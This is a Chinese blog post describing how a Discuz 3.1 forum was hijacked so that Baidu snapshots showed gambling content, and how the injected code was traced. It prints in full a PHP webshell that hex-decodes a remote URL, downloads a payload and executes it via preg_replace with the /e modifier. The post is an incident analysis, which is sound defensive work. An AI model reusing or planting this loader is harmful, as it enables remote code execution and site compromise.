zoukankan      html  css  js  c++  java
  • discuz 3.1论坛快照被百度劫持解决方案

    最近很郁闷,遇到一个很棘手的问题。我们公司有个论坛在百度查看快照信息的时候全部都是博彩信息,但是打开却无博彩信息显示。在快照中查看是这样的

    百度快照查看图:

    经过思考,怀疑是网站中有网页被改动了,在某页面加了判断,如果来源为搜索引擎的抓取就显示博彩信息。但是使用editplus文件搜索如: baiduspiderhttp等也无效。通过百度搜索别人也遇到相似的问题,入侵者将要写入的信息加密,通过通用的关键字是搜索不到的。就查找php的加密方法,但然肯定是可以解密的加密方法

    1、base64加密

    string base64_encode ( string $data )

    使用 base64 对 data 进行编码。

    设计此种编码是为了使二进制数据可以通过非纯 8-bit 的传输层传输,例如电子邮件的主体。

    Base64-encoded 数据要比原始数据多占用 33% 左右的空间。

    string base64_decode ( string $data [, bool $strict = false ] )

    对 base64 编码的 data 进行解码。

    参数

    data -- 编码过的数据。

    strict -- 如果输入的数据超出了 base64 字母表,则返回 FALSE。

    我遇到的就是这种情况

    2、使用对称加密方法

    Webshell代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    error_reporting(0);
    session_start();
    header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
    $_SESSION['api']=substr(file_get_contents(
    sprintf('%s?%s',pack("H*",
    '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
    @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
    ?>

    关键看下面这句代码,

    1
    sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

    这里执行之后其实是一张图片,解密出来的图片地址如下:

    http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

    更多参考:http://drops.wooyun.org/papers/1215

  • 相关阅读:
    北京理工大学复试上机--2014
    北京理工大学复试上机--2013
    北京理工大学复试上机--2012
    北京理工大学复试上机--2011
    北京理工大学复试上机--2010
    Python的逻辑结构和函数
    Python的概述
    BOM
    正则表达式的匹配
    jQuery的插件和跨域、ajax
  • 原文地址:https://www.cnblogs.com/fogwang/p/5502499.html
Copyright © 2011-2022 走看看